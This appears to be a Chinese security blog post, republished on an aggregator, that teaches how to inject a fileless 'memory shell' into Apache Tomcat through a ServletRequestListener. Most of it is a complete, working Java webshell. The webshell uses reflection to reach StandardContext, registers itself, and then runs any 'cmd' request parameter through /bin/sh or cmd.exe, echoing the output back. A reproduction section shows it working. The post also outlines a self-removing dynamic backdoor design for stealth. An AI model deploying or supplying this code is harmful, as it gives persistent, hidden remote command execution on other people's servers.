Java Tomcat内存马——Listener内存马

news2024/11/25 7:13:56

目录

(一)前置知识

0x01 什么是Listener

0x02 Listener的简单案例

0x03 Listener流程分析

 (二)注入分析

(三)实现内存马

得到完整的内存马

(四)漏洞复现

其他的payload:

总结


(一)前置知识


0x01 什么是Listener


监听器 Listener 是一个实现特定接口的 Java 程序,这个程序专门用于监听另一个 Java 对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即自动执行。

监听器的相关概念:

  • 事件:方法调用、属性改变、状态改变等。
  • 事件源:被监听的对象( 例如:request、session、servletContext)。
  • 监听器:用于监听事件源对象 ,事件源对象状态的变化都会触发监听器。
  • 注册监听器:将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分,可以分为 3 类:

  • 监听对象创建和销毁的监听器
  • 监听对象中属性变更的监听器
  • 监听 HttpSession 中的对象状态改变的监听器

0x02 Listener的简单案例


在Tomcat中创建Listener有两种方式:

使用web.xml中的listener标签创建
使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类,如图 1-1:

图 1-1 新建的ServletListener.java

package pres.test.momenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑,之后再web.xml中配置Listener。

<listener>
    <listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器,如图 1-2

图 1-2 配置Listener后启动Tomcat容器

0x03 Listener流程分析


  • 首先给出程序到  requestInitialized  方法之前的调用栈
requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
  • 将会到达 StandardHostValve#invoke 方法,如图 1-3 :
图 1-3 StandardValue自动调用invoke方法

  • 调用了StandardContext # fireRequestInitEvent方法进行请求初始化
图 1-4 实例化Listener,并调用requestInitialized方法

在其中,程序通过扫描web.xml中得到了对应的实例化对象,因为我们在web.xml中做出了对应的配置,所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断,进而调用了listener的 requestInitialized 方法。

  • 即为我们的 ListenerTest#requestInitialized 方法,如图 1-5:
图 1-5  实例化的对象调用requestInitialized方法

 (二)注入分析


  • 和之前找CC链思路一致,先从ServletContext,找到可以利用点,即addListener有三种重载方式,如图 2-1 :
图 2-1 ServletContext中的addListener方法

  • 我们先看官网是如何进行解释的,如图 2-2:
     
图 2-2 官网对addListener方法进行解释

  • 跟进api中的注解,能够实现的的监听器有:
    ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)

    ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)

    ServletRequestListener:对 Request 请求进行监听(创建、销毁)

    ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)

    javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听

    javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

  • 每一种 接口有着不同的方法存在,就比如 ServletRequestListener 这个监听器,如 2-3:

图 2-3 接口ServletRequestListener包含的实现方法

可以观察到 ServletRequestListener 存在有 requestDestroyed requestInitialized 方法进行请求前和请求后的监听,又或者是 ServletRequestAttributeListener 这个监听器,如图 2-4:

图 2-4 ServetRequestAttributeListener中包含的方法

存在有 attributeAddedattributeRemovedattributeReplaced 分别对属性增 / 属性删 / 属性替换做出了监听。

但是这些监听器都是继承同一个接口 EventListener ,我们可以跟进一下 addListener 在Tomcat中的实现在 org.apache.catalina.core.ApplicationContext#addListener 中,如图 2-5:

图 2-5 addListener方法的具体实现

如果这里传入的是一个ClassName,将会将其进行实例化之后判断是否实现了EventListener 接口,也就是是否在监听类中实现了特性的监听器。

  • 如果实现了这个标志接口,将会将其强转为 EventListener 并传入 addListener的重载方法,如图 2-6:
图 2-6 addListener的重载机制

 同样和前面类似,不能在程序运行过程中进行Listener的添加,并且如果的监听器是

  • ServletContextAttributeListener  
  • ServletRequestListener
  • ServletRequestAttributeListener 
  • HttpSessionIdListener
  • HttpSessionAttributeListener

的时候将会通过调用  StardardContext#addApplicationEventListener 添加监听器,又如果是HttpSessionListener ServletContextListener 将会调用 addApplicationLifecycleListener方法进行监听器的添加,通过上面的分析我们不难得到Listener内存马中关于 ServletRequestListener 这个监听器的实现步骤:

  1. 首先获取到 StardardContext 对象
  2. 之后创建一个实现了 ServletRequestListener 接口的监听器类
  3. 再然后通过调用 StardardContext 类的 addApplicationEventListener 方法进行Listener的添加

(三)实现内存马


  • 首先通过循环的方式获取StandardContext对象。
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o1 = field.get(servletContext);

    if (o1 instanceof ServletContext) {
        servletContext = (ServletContext) o1;
    } else if (o1 instanceof StandardContext) {
        o = (StandardContext) o1;
    }
}
  • 之后创建一个监听器类, 我这里同样是一段任意代码执行的构造,通过reponse写进行回显操作
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

  • 最后当然就是将Listener添加
Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }
            }
            Mylistener mylistener = new Mylistener();
            //添加listener
            o.addApplicationEventListener(mylistener);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

(四)漏洞复现


  • 先编写测试类IndexServlet
public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String message = "Tomcat project!";
        String id = req.getParameter("id");

        StringBuilder sb = new StringBuilder();
        sb.append(message);
        if (id != null && id != null) {
            sb.append("\nid: ").append(id); //拼接id
        }
        resp.getWriter().println(sb);
    }
}
  • 将会对传入参数id进行回显,之后配置 addTomcatListener 路由的Servlet进行内存马的注入,如图 4-1。
图 4-1 最开始进行访问id进行显示
  •  访问 addTomcatListener 路由进行内存马的注入,如图 4-2:
图 4-2 访问addTomcatListener内存马注入

  • 再次访问/index并传入cmd参数,如图 4-3:
图 4-3 cmd命令成功回显

发现不仅仅回显了我传入的id参数,同样进行了命令的执行。

其他的payload:


在api中支持的监听器中,还有很多其他的监听器可以进行内存马的实现,这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说 ServletRequestAttributeListener 这个监听器,在分析注入那里也有所提及,我们通要可以将我们的恶意代码插入在如图 4-4 中:

图 4-4 ServletRequestAttributeListener注入方法

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路:

由于在 ServletRequestListener 中可以获取到 ServletRequestEvent,这其中又存了很多东西,ServletContext/StandardContext 都可以获取到,那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能,我举个例子:

  • requestInitialized 中监听,如果访问到了某个特定的 URL,或这次请求中包含某些特征(可以拿到 request 对象,随便怎么定义),则新起一个线程去 StandardContext 中注册一个 Filter,可以实现某些恶意功能。

  • requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。

        这样我们就有了一个真正的动态后门,只有用的时候才回去注册它,用完就删

总结


我们在这里总结一下这三种的执行顺序和特性,他们的执行顺序分别是 Listener > Filter > Servlet

  • Servlet :在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类;
  • Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类;
  • Listener:在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大,更具有隐藏性,且能够有更多的构造方式。最后,贴一下我总结的内存马编写流程

  1. 首先获取到StardardContext对象

  2. 之后创建一个实现了ServletRequestListener 接口的监听器类

  3. 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/52451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Observability:从零开始创建 Java 微服务并监控它 (二)

这篇文章是继上一篇文章 “Observability&#xff1a;从零开始创建 Java 微服务并监控它 &#xff08;一&#xff09;” 的续篇。在上一篇文章中&#xff0c;我们讲述了如何创建一个 Java web 应用&#xff0c;并使用 Filebeat 来收集应用所生成的日志。在今天的文章中&#xf…

机器学习3判断机器算法的性能

文章目录一、判断机器算法的性能1基本使用1.目的2.使用pycharm函数封装3.sklearn中的train test split&#xff1a;4.完美调用&#xff1a;二、判断机器算法的性能2分类的准确度&#xff08;accuracy&#xff09;准确度初步计算&#xff1a;完善KNNpy程序如下&#xff1a;一、判…

[附源码]Python计算机毕业设计Django高校社团管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

GHost系统备份与还原

前期准备工作&#xff1a;U盘&#xff08;>8G&#xff09;,最好大一点&#xff0c;如果你U盘要放GHO或者ISO文件的话&#xff0c;可能就不够用了。 我这里使用的老白菜工具&#xff0c;然后制作一个启动U盘。附教程连接&#xff1a;http://laobaicai.bsllcmgs.cn/upqdzz.htm…

无线通信系统简述(学习笔记)

文章目录Evolution of Mobile Radio CommunicationsFirst GenerationSecond GenerationThird GenerationFourth GenerationFifth GenerationOther Wireless Communication SystemsWireless Local Area Networks (WLAN&#xff09;Satellite communication networkWireless Sens…

揭秘如今市场上最火爆的三大商业模式,点进来看看有没有什么收获

大家好&#xff0c;我是爱生活爱分享&#xff0c;无限输出干活内容的阿璋&#xff0c;今天和大家分享一下现在最实用最流行的三大商业模式&#xff0c;现在市面上都有成熟的案例&#xff0c;每个模式都有不同的效果&#xff0c;大家可以看一看&#xff0c;学一学&#xff0c;借…

高通导航器软件开发包使用指南(17)

高通导航器软件开发包使用指南&#xff08;17&#xff09;11 附加的功能11.1 螺旋桨障碍检测11.1.1 螺旋桨起转期间11.1.2 飞行中11.2 低电压警告和迫降11.3 GPS 模式下的 Geotether11.4 禁飞区功能11.5 不允许螺旋桨旋转的传感器检查11.6 仿真模式11.6.1 简介11.6.2 用法12 状…

一种用于入侵检测的自适应集成机器学习模型

一种用于入侵检测的自适应集成机器学习模型学习目标学习内容一&#xff0e;Decision Tree Based Intrusion Detection System for NSL-KDD Dataset二、一种用于入侵检测的自适应集成机器学习模型D. Multi-Tree算法E. 深度神经网络(Deep Neural Networks)算法/多层感知机&#x…

pikachu平台SQL注入

pikachu平台SQL注入 日常心累、速通pikachu注入相关 目录pikachu平台SQL注入使用到的名词解释1. 数字型注入 --使用bp处理数据包2. 字符型注入 --hackbar处理3. 搜索型注入4. xx型注入5. insert/update注入6. delete注入7. http头注入8. 布尔盲注9. 时间盲注10. 宽字节注入使用…

MYSQL 事务、事务隔离级别和MVCC,幻读

快照读和当前读 快照读&#xff1a;快照读就是读取的是快照数据&#xff0c;不加锁的普通 SELECT 都属于快照读。如下面语句&#xff1a; select * from table where ..... 当前读:当前读就是读的是最新数据&#xff0c;而不是历史的数据&#xff0c;加锁的 SELECT&#xff0c…

八、Nacos服务注册和配置中心

SpringCloud Alibaba Nacos服务注册和配置中心 Nacos简介 为什么叫Nacos 前四个字母分别为Naming和Configuration的前两个字母&#xff0c;最后的s为Service 是什么 一个更易于构建云原生应用的动态服务发现&#xff0c;配置管理和服务管理中心 Nacos&#xff1a;Dynamic…

微信

引言&#xff1a;微信必不可少&#xff0c;但用着用着 C 盘内存飙升&#xff0c;不知如何解决&#xff1f;这篇博文来帮你 文章目录一、安装微信二、微信文件默认保存位置的更改三、WeChat Files 有什么&#xff1f;一、安装微信 下载之前先在 D 盘&#xff08;除了 C 盘就行&…

Android Profiler入门与实践

1、内存分析 点击MEMORY&#xff0c;可以看到正在运行进程的各种内存使用情况 Tips&#xff1a;点击右上角的垃圾桶图标会触发强制gc 1.1、查看Java堆内存和Java实例 执行以下代码&#xff1a; 说明&#xff1a;list为MainActivity的全局变量&#xff0c;所以list的只有在M…

数据结构和算法——基于Java——4.1栈(数组实现栈、链表实现栈)

理论补充 先进后出 FILO&#xff08;First-Input-Last-Out&#xff09;的有序列表&#xff0c;限制线性表中元素的插入和删除只能在线性表的同一端进行 栈顶&#xff1a;变化的一端栈底:固定的一端 代码实现 2.1 数组模拟栈 package com.b0.stack;import java.util.Scanner…

[附源码]Python计算机毕业设计SSM考研信息共享博客系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

为ubuntu配置WiFi

1.前提条件 ubuntu不论什么版本&#xff0c;如果想要正常使用wifi&#xff0c;必须在电脑的bios中把secure boot设定为disable 2.快捷指令&#xff08;WiFi相关的常用命令行指令&#xff09; 2.1查看电脑连接的蓝牙和网卡设备 rfkill list all0: hci0: Bluetooth 这个是我电…

79. 单词搜索

79. 单词搜索 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格是那些水…

微服务单元测试策略

欢迎关注公众号:TestingStudio,学习更多测试开发必备技能 单元测试对应用程序中最小的可测试软件进行测试&#xff0c;以确定其行为是否如预期的那样。 被测试单元的大小没有严格定义&#xff0c;但是单元测试通常是在类级别或围绕一小组相关的类编写的。被测试的单元越小&…

STM32实战总结:HAL之IAP

我们学习单片机一般都是从51开始的&#xff0c;51单片机烧录程序通常是使用烧录软件如STC-ISP。这种方式&#xff0c;通过串口连接单片机&#xff0c;选择一个合适的波特率就可以烧录了。 后来学习STM32&#xff0c;编程时使用KEIL软件自带的下载按钮就能下载程序&#xff0c;方…

09-13-Hbase-shell入门操作

09-Hbase-shell入门操作&#xff1a; HBase Shell 操作 DDL基本操作 1&#xff0e;进入 HBase 客户端命令行 [roothadoop102 hbase-1.3.1]# bin/hbase shell 2&#xff0e;查看帮助命令 hbase(main):001:0> help 3&#xff0e;查看当前数据库中有哪些表 hbase(main):0…